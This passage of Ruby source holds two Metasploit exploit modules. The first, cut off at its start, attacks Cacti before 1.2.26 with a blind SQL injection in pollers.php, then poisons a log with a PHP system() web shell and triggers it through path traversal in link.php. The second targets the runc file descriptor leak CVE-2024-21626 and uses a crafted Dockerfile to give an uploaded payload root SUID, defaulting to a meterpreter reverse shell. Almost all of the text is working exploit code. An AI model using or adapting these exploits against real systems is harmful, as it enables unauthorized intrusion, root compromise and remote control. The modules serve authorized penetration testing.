'/cacti'])<br /> ]<br /> )<br /> end<br /><br /> def sqli<br /> @sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload|<br /> sqli_final_payload = '"'<br /> sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and')<br /> sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=\""<br /> send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'pollers.php'),<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'vars_post' => {<br /> '__csrf_magic' => @csrf_token,<br /> 'name' => 'Main Poller',<br /> 'hostname' => 'localhost',<br /> 'timezone' => '',<br /> 'notes' => '',<br /> 'processes' => '1',<br /> 'threads' => '1',<br /> 'id' => '2',<br /> 'save_component_poller' => '1',<br /> 'action' => 'save',<br /> 'dbhost' => sqli_final_payload<br /> },<br /> 'vars_get' => {<br /> 'header' => 'false'<br /> }<br /> )<br /> end<br /> end<br /><br /> def get_version(html)<br /> # This will return an empty string if there is no match<br /> version_str = html.xpath('//div[@class="versionInfo"]').text<br /> unless version_str.include?('The Cacti Group')<br /> raise CactiNotFoundError, 'The web server is not running Cacti'<br /> end<br /> unless version_str.match(/Version (?<version>\d{1,2}\.\d{1,2}.\d{1,2})/)<br /> raise CactiVersionNotFoundError, 'Could not detect the version'<br /> end<br /><br /> Regexp.last_match[:version]<br /> end<br /><br /> def get_csrf_token(html)<br /> html.xpath('//form/input[@name="__csrf_magic"]/@value').text<br /> end<br /><br /> def do_login<br /> if @csrf_token.blank? || @cacti_version.blank?<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'index.php'),<br /> 'method' => 'GET',<br /> 'keep_cookies' => true<br /> )<br /> if res.nil?<br /> raise CactiNoAccessError, 'Could not access `index.php` - no response'<br /> end<br /><br /> html = res.get_html_document<br /> if @csrf_token.blank?<br /> print_status('Getting the CSRF token to login')<br /> @csrf_token = get_csrf_token(html)<br /> if @csrf_token.empty?<br /> # raise an error since without the CSRF token, we cannot login<br /> raise CactiCsrfNotFoundError, 'Cannot get the CSRF token'<br /> else<br /> vprint_good("CSRF token: #{@csrf_token}")<br /> end<br /> end<br /><br /> if @cacti_version.blank?<br /> print_status('Getting the version')<br /> begin<br /> @cacti_version = get_version(html)<br /> vprint_good("Version: #{@cacti_version}")<br /> rescue CactiError => e<br /> # We can still log in without the version<br /> print_bad("Could not get the version, the exploit might fail: #{e}")<br /> end<br /> end<br /> end<br /><br /> print_status("Attempting login with user `#{datastore['USERNAME']}` and password `#{datastore['PASSWORD']}`")<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'index.php'),<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'vars_post' => {<br /> '__csrf_magic' => @csrf_token,<br /> 'action' => 'login',<br /> 'login_username' => datastore['USERNAME'],<br /> 'login_password' => datastore['PASSWORD']<br /> }<br /> )<br /> raise CactiNoAccessError, 'Could not login - no response' if res.nil?<br /> raise CactiLoginError, "Login failure - unexpected HTTP response code: #{res.code}" unless res.code == 302<br /><br /> print_good('Logged in')<br /> end<br /><br /> def check<br /> # Step 1 - Check if the target is Cacti and get the version<br /> print_status('Checking Cacti version')<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'index.php'),<br /> 'method' => 'GET',<br /> 'keep_cookies' => true<br /> )<br /> return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?<br /><br /> html = res.get_html_document<br /> begin<br /> @cacti_version = get_version(html)<br /> version_msg = "The web server is running Cacti version #{@cacti_version}"<br /> rescue CactiNotFoundError => e<br /> return CheckCode::Safe(e.message)<br /> rescue CactiVersionNotFoundError => e<br /> return CheckCode::Unknown(e.message)<br /> end<br /><br /> if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26')<br /> print_good(version_msg)<br /> else<br /> return CheckCode::Safe(version_msg)<br /> end<br /><br /> # Step 2 - Login<br /> @csrf_token = get_csrf_token(html)<br /> return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?<br /><br /> begin<br /> do_login<br /> rescue CactiError => e<br /> return CheckCode::Unknown("Login failed: #{e}")<br /> end<br /><br /> @logged_in = true<br /><br /> # Step 3 - Check if the user has enough permissions to reach `pollers.php`<br /> print_status('Checking permissions to access `pollers.php`')<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'pollers.php'),<br /> 'method' => 'GET',<br /> 'keep_cookies' => true,<br /> 'headers' => {<br /> 'X-Requested-With' => 'XMLHttpRequest'<br /> }<br /> )<br /> return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil?<br /> return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401<br /> return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200<br /><br /> # Step 4 - Check if it is vulnerable to SQLi<br /> print_status('Attempting SQLi to check if the target is vulnerable')<br /> return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable<br /><br /> CheckCode::Vulnerable<br /> end<br /><br /> def get_ext_link_id<br /> # Get an unused External Link ID with a time-based SQLi<br /> @ext_link_id = rand(1000..9999)<br /> loop do<br /> _res, elapsed_time = Rex::Stopwatch.elapsed_time do<br /> sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}")<br /> end<br /> break if elapsed_time < datastore['SqliDelay']<br /><br /> @ext_link_id = rand(1000..9999)<br /> end<br /> vprint_good("Got external link ID #{@ext_link_id}")<br /> end<br /><br /> def exploit<br /> # `#do_login` will take care of populating `@csrf_token` and `@cacti_version`<br /> unless @logged_in<br /> begin<br /> do_login<br /> rescue CactiError => e<br /> fail_with(Failure::NoAccess, "Login failure: #{e}")<br /> end<br /> end<br /><br /> @log_file_path = "log/cacti#{rand(1..999)}.log"<br /> print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table")<br /> @log_setting_name_bak = '_path_cactilog'<br /> sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'")<br /> @do_settings_cleanup = true<br /> sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')")<br /> register_file_for_cleanup(@log_file_path)<br /><br /> print_status("Inserting the log file path `#{@log_file_path}` to the external links table")<br /> log_file_path_lfi = "../../#{@log_file_path}"<br /> # Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79):<br /> # $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']);<br /> log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25')<br /> get_ext_link_id<br /> sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')")<br /> @do_ext_link_cleanup = true<br /><br /> print_status('Getting the user ID and setting permissions (it might take a few minutes)')<br /> user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'")<br /> fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/\A\d+\Z/)<br /> sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})")<br /> @do_perms_cleanup = true<br /><br /> print_status('Logging in again to apply new settings and permissions')<br /> # Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again.<br /> # This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup.<br /> cookie_jar_bak = cookie_jar.clone<br /> cookie_jar.clear<br /> csrf_token_bak = @csrf_token<br /> # Setting `@csrf_token` to nil will force `#do_login` to get a fresh CSRF token<br /> @csrf_token = nil<br /> begin<br /> do_login<br /> rescue CactiError => e<br /> fail_with(Failure::NoAccess, "Login failure: #{e}")<br /> end<br /><br /> print_status('Poisoning the log')<br /> header_name = rand_text_alpha(1).upcase<br /> sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)")<br /><br /> print_status('Triggering the payload')<br /> # Expecting no response<br /> send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'link.php'),<br /> 'method' => 'GET',<br /> 'keep_cookies' => true,<br /> 'headers' => {<br /> header_name => payload.encoded<br /> },<br /> 'vars_get' => {<br /> 'id' => @ext_link_id,<br /> 'headercontent' => 'true'<br /> }<br /> }, 0)<br /><br /> # Restore the cookie_jar and the CSRF token to run cleanup without being blocked<br /> cookie_jar.clear<br /> self.cookie_jar = cookie_jar_bak<br /> @csrf_token = csrf_token_bak<br /> end<br /><br /> def cleanup<br /> super<br /><br /> if @do_ext_link_cleanup<br /> print_status('Cleaning up external link using SQLi')<br /> sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}")<br /> end<br /><br /> if @do_perms_cleanup<br /> print_status('Cleaning up permissions using SQLi')<br /> sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}")<br /> end<br /><br /> if @do_settings_cleanup<br /> print_status('Cleaning up the log path in `settings` table using SQLi')<br /> sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'")<br /> sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'")<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Local<br /> Rank = ExcellentRanking<br /><br /> include Msf::Post::Linux::Priv<br /> include Msf::Post::Linux::System<br /> include Msf::Post::File<br /> include Msf::Exploit::EXE<br /> include Msf::Exploit::FileDropper<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'runc (docker) File Descriptor Leak Privilege Escalation',<br /> 'Description' => %q{<br /> All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,<br /> and Kubernetes are vulnerable to an arbitrary file write.<br /> Due to a file descriptor leak it is possible to mount the host file system<br /> with the permissions of runc (typically root).<br /><br /> Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'h00die', # msf module<br /> 'Rory McNamara' # Discovery<br /> ],<br /> 'Platform' => [ 'linux' ],<br /> 'Arch' => [ ARCH_X86, ARCH_X64 ],<br /> 'SessionTypes' => [ 'shell', 'meterpreter' ],<br /> 'Targets' => [[ 'Auto', {} ]],<br /> 'Privileged' => true,<br /> 'References' => [<br /> [ 'URL', 'https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/'],<br /> [ 'URL', 'https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv'],<br /> [ 'CVE', '2024-21626']<br /> ],<br /> 'DisclosureDate' => '2024-01-31',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'AKA' => ['Leaky Vessels'],<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [ARTIFACTS_ON_DISK]<br /> },<br /> 'DefaultOptions' => {<br /> 'EXITFUNC' => 'thread',<br /> 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',<br /> 'MeterpreterTryToFork' => true<br /> }<br /> )<br /> )<br /> register_advanced_options [<br /> OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),<br /> OptString.new('DOCKERIMAGE', [ true, 'A docker image to use', 'alpine:latest' ]),<br /> OptInt.new('FILEDESCRIPTOR', [ true, 'The file descriptor to use, typically 7, 8 or 9', 8 ]),<br /> ]<br /> end<br /><br /> def base_dir<br /> datastore['WritableDir'].to_s<br /> end<br /><br /> def check<br /> sys_info = get_sysinfo<br /><br /> unless sys_info[:distro] == 'ubuntu'<br /> return CheckCode::Safe('Check method only available for Ubuntu systems')<br /> end<br /><br /> return CheckCode::Safe('Check method only available for Ubuntu systems') if executable?('runc')<br /><br /> # Check the app is installed and the version, debian based example<br /> package = cmd_exec('runc --version')<br /> package = package.split[2] # runc, version, <the actual version><br /><br /> if package&.include?('1.1.7-0ubuntu1~22.04.1') || # jammy 22.04 only has 2 releases, .1 (vuln) and .2<br /> package&.include?('1.0.0~rc10-0ubuntu1') || # focal only had 1 release prior to patch, 1.1.7-0ubuntu1~20.04.2 is patched<br /> package&.include?('1.1.7-0ubuntu2') # mantic only had 1 release prior to patch, 1.1.7-0ubuntu2.2 is patched<br /> return CheckCode::Appears("Vulnerable runc version #{package} detected")<br /> end<br /><br /> unless package&.include?('+esm') # bionic patched with 1.1.4-0ubuntu1~18.04.2+esm1 so anything w/o +esm is vuln<br /> return CheckCode::Appears("Vulnerable runc version #{package} detected")<br /> end<br /><br /> CheckCode::Safe("runc #{package} is not vulnerable")<br /> end<br /><br /> def exploit<br /> # Check if we're already root<br /> if !datastore['ForceExploit'] && is_root?<br /> fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'<br /> end<br /><br /> # Make sure we can write our exploit and payload to the local system<br /> unless writable? base_dir<br /> fail_with Failure::BadConfig, "#{base_dir} is not writable"<br /> end<br /><br /> # create directory to write all our files to<br /> dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"<br /> mkdir(dir)<br /> register_dirs_for_cleanup(dir)<br /><br /> # Upload payload executable<br /> payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}"<br /> vprint_status("Uploading Payload to #{payload_path}")<br /> write_file(payload_path, generate_payload_exe)<br /> register_file_for_cleanup(payload_path)<br /><br /> # write docker file<br /> vprint_status("Uploading Dockerfile to #{dir}/Dockerfile")<br /> dockerfile = %(FROM #{datastore['DOCKERIMAGE']}<br /> WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']}<br /> RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} )<br /> write_file("#{dir}/Dockerfile", dockerfile)<br /> register_file_for_cleanup("#{dir}/Dockerfile")<br /><br /> print_status('Building from Dockerfile to set our payload permissions')<br /> output = cmd_exec "cd #{dir} && docker build ."<br /> output.each_line { |line| vprint_status line.chomp }<br /><br /> # delete our docker image<br /> if output =~ /Successfully built ([a-z0-9]+)$/<br /> print_status("Removing created docker image #{Regexp.last_match(1)}")<br /> output = cmd_exec "docker image rm #{Regexp.last_match(1)}"<br /> output.each_line { |line| vprint_status line.chomp }<br /> end<br /><br /> fail_with(Failure::NoAccess, "File Descriptor #{datastore['FILEDESCRIPTOR']} not available, try again (likely) or adjust FILEDESCRIPTOR.") if output.include? "mkdir /proc/self/fd/#{datastore['FILEDESCRIPTOR']}: not a directory"<br /> fail_with(Failure::NoAccess, 'Payload SUID bit not set') unless get_suid_files(payload_path).include? payload_path<br /><br /> print_status("Payload permissions set, executing payload (#{payload_path})...")<br /> cmd_exec "#{payload_path} &"<br /> end<br />end<br /></code></pre>